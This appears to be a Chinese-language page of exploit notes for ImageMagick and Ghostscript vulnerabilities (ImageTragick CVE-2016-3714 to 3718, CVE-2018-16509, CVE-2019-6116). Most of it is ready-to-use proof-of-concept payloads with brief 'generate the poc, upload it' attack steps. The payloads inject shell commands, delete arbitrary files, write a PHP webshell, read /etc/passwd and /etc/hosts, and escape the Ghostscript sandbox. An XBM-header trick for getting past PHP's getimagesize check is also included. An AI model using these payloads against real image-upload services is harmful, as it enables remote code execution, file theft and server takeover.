ImageMagick
Bypass code
1<?php2$filename = $_FILES['image']['tmp_name'];3$size = getimagesize($filename);4if ($size && $size[0] > 100 && $size[1] > 100) {5$img = new Imagick($_FILES['image']['tmp_name']);6$img->cropThumbnailImage(100, 100);7$img->writeImage('newimage.gif');8}
ImageMagick漏洞
ImageMagick 6.9.3-9
CVE-2016-3714
与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。
ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。
调用的漏洞委托:
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>漏洞poc
1push graphic-context2viewbox 0 0 640 4803fill 'url(https://"|id;")'4pop graphic-contextCVE-2016-3718
利用mvg格式中可以包含url的特点,进行SSRF攻击
1push graphic-context2viewbox 0 0 640 4803fill 'url(http://example.com/)'4pop graphic-contextCVE-2016-3715
利用ImageMagick支持的ephemeral协议,来删除任意文件:
1push graphic-context2viewbox 0 0 640 4803image over 0,0 0,0 'ephemeral:/tmp/delete.txt'4popgraphic-contextCVE-2016-3716
ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell
特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作:
1file_move.mvg2-=-=-=-=-=-=-=-=-3push graphic-context4viewbox 0 0 640 4805image over 0,0 0,0 'msl:/tmp/msl.txt'6popgraphic-context78/tmp/msl.txt9-=-=-=-=-=-=-=-=-10<?xml version="1.0" encoding="UTF-8"?>11<image>12<read filename="/tmp/image.gif" />13<write filename="/var/www/shell.php" />14</image>CVE-2016-3717
造成本地文件读取漏洞:
1push graphic-context2viewbox 0 0 640 4803image over 0,0 0,0 'label:@/etc/hosts'4pop graphic-contextPocs
深入分析
漏洞代码
1<?php2new Imagick('vul.gif');无返回值,需从日志读取
ImageMagick内存泄漏漏洞(CVE-2018-16323)
攻击思路
生成PoC(ps文件);
上传即可
poc
1poc.png2______________________________________________________________________________________________3%!PS4userdict /setpagedevice undef5save6legal7{ null restore } stopped { pop } if8{ legal } stopped { pop } if9restore10mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdevicepropsGhostScript沙箱绕过(命令执行)漏洞(CVE-2019-6116)
攻击思路
- 生成poc
- 上传即可
poc
1poc.png2______________________________________________________________________________________________3%!PS4% extract .actual_pdfpaintproc operator from pdfdict5/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def67/exploit {8(Stage 11: Exploitation...)=910/forceput exch def1112systemdict /SAFER false forceput13userparams /LockFilePermissions false forceput14systemdict /userparams get /PermitFileControl [(*)] forceput15systemdict /userparams get /PermitFileWriting [(*)] forceput16systemdict /userparams get /PermitFileReading [(*)] forceput1718% update19save restore2021% All done.22stop23} def2425errordict /typecheck {26/typecount typecount 1 add def27(Stage 10: /typecheck #)=only typecount ==2829% The first error will be the .knownget, which we handle and setup the30% stack. The second error will be the ifelse (missing boolean), and then we31% dump the operands.32typecount 1 eq { null } if33typecount 2 eq { pop 7 get exploit } if34typecount 3 eq { (unexpected)= quit } if35} put3637% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some38% executable arrays onto the operand stack that contain .forceput, but are not39% marked as executeonly or pseudo-operators.40%41% The routine was attempting to pass them to ifelse, but we can cause that to42% fail because when the routine was declared, it used `bind` but many of the43% names it uses are not operators and so are just looked up in the dictstack.44%45% This means we can push a dict onto the dictstack and control how the routine46% works.47<<48/typecount 049/PDFfile { (Stage 0: PDFfile)= currentfile }50/q { (Stage 1: q)= } % no-op51/oget { (Stage 3: oget)= pop pop 0 } % clear stack52/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op53/gput { (Stage 5: gput)= } % no-op54/resolvestream { (Stage 6: resolvestream)= } % no-op55/pdfopdict { (Stage 7: pdfopdict)= } % no-op56/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index57/pdfdict { (Stage 9: pdfdict)=58% cause a /typecheck error we handle above59true60}61>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop6263(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=6465% Demonstrate reading a file we shouldnt have access to.66(/etc/passwd) (r) file dup 64 string readline pop == closefile6768(Attempting to execute a shell command...)= flush6970% run command71(%pipe%id > /tmp/success) (w) file closefile7273(All done.)=7475quit
绕过getimagesize,执行new ImageMagick()漏洞
mvg格式的POC :
1push graphic-context2viewbox 0 0 640 4803fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'4pop graphic-context5#define xlogo_width 2006#define xlogo_height 200xbm图片是一个文本格式的文件,而不像其他图片一样是二进制文件。如果某一行格式满足
#define %s %d,那么取出其中的字符串和数字,再从字符串中取出width或height,将数字作为图片的长和宽。后面两句,使其正常判断mvg格式文件的大小
ps文件poc
借助CVE-2018-16509的POC
1poc.png2__________________________________________________________________________________________3%!PS4userdict /setpagedevice undef5save6legal7{ null restore } stopped { pop } if8{ legal } stopped { pop } if9restore10mark /OutputFile (%pipe%id) currentdevice putdeviceprops1112/test {13#define xlogo64_width 6414#define xlogo64_height 6415}